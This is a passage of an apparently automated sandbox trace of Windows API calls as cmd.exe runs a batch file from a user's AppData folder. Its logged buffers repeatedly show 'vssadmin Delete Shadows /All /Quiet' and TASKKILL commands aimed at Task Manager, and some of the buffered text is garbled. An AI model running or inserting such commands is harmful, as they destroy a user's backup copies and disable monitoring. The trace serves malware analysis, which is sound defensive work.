lpNumberOfBytesRead=0x1ef448*=0xa9, lpOverlapped=0x0) returned 1 [0096.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=169, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 169 [0096.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0096.226] GetFileType (hFile=0x74) returned 0x1 [0096.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0096.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=-117, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5fb [0096.226] _tell (_FileHandle=3) returned 1531 [0096.226] _close (_FileHandle=3) returned 0 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0096.226] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0096.227] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0096.227] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0096.227] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0096.227] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0096.227] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0096.227] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0096.229] CloseHandle (hObject=0x74) returned 1 [0096.229] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0097.024] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0097.024] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0097.024] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0097.024] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0097.024] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0097.024] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0097.024] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0097.024] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0097.024] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0097.024] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0097.024] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0097.025] SetConsoleInputExeNameW () returned 0x1 [0097.025] GetConsoleOutputCP () returned 0x1b5 [0097.025] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0097.025] SetThreadUILanguage (LangId=0x0) returned 0x409 [0097.025] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0097.025] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0097.025] _get_osfhandle (_FileHandle=3) returned 0x78 [0097.025] SetFilePointer (in: hFile=0x78, lDistanceToMove=1531, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5fb [0097.025] _get_osfhandle (_FileHandle=3) returned 0x78 [0097.025] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5fb [0097.025] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x75, lpOverlapped=0x0) returned 1 [0097.025] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=117, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiet taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 117 [0097.025] _get_osfhandle (_FileHandle=3) returned 0x78 [0097.025] GetFileType (hFile=0x78) returned 0x1 [0097.025] _get_osfhandle (_FileHandle=3) returned 0x78 [0097.025] SetFilePointer (in: hFile=0x78, lDistanceToMove=-83, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x61d [0097.026] _tell (_FileHandle=3) returned 1565 [0097.026] _close (_FileHandle=3) returned 0 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0097.026] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0097.027] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0097.027] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0097.028] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0097.028] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0097.028] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0097.028] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0097.030] CloseHandle (hObject=0x78) returned 1 [0097.030] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0097.760] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0097.760] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0097.760] GetEnvironmentStringsW () returned 0x4a67d8* [0097.760] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0097.760] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0097.760] GetEnvironmentStringsW () returned 0x4a67d8* [0097.761] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0097.761] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0097.761] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0097.761] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0097.761] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0097.761] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0097.761] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0097.761] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0097.761] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0097.761] SetConsoleInputExeNameW () returned 0x1 [0097.761] GetConsoleOutputCP () returned 0x1b5 [0097.761] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0097.761] SetThreadUILanguage (LangId=0x0) returned 0x409 [0097.761] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0097.761] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0097.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0097.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=1565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x61d [0097.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0097.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x61d [0097.762] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x53, lpOverlapped=0x0) returned 1 [0097.762] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=83, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmin.exe Delete Shadows /All /Quiet taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 83 [0097.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0097.762] GetFileType (hFile=0x74) returned 0x1 [0097.762] _get_osfhandle (_FileHandle=3) returned 0x74 [0097.762] SetFilePointer (in: hFile=0x74, lDistanceToMove=-39, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x649 [0097.762] _tell (_FileHandle=3) returned 1609 [0097.762] _close (_FileHandle=3) returned 0 [0097.762] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0097.762] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0097.762] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0097.762] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0097.762] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0097.762] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0097.763] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0097.763] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0097.764] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0097.764] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0097.764] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0097.764] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0097.764] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1 [0097.764] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x1eeca4*(cb=0x48, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1eecf0 | out: lpCommandLine="TASKKILL /F /IM taskmgr.exe /IM taskmgr.exe", lpProcessInformation=0x1eecf0*(hProcess=0x78, hThread=0x74, dwProcessId=0x82c, dwThreadId=0x960)) returned 1 [0097.766] CloseHandle (hObject=0x74) returned 1 [0097.766] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0097.766] GetEnvironmentStringsW () returned 0x4a67d8* [0097.767] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0097.767] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0098.321] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0098.321] CloseHandle (hObject=0x78) returned 1 [0098.321] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0098.321] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0098.321] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 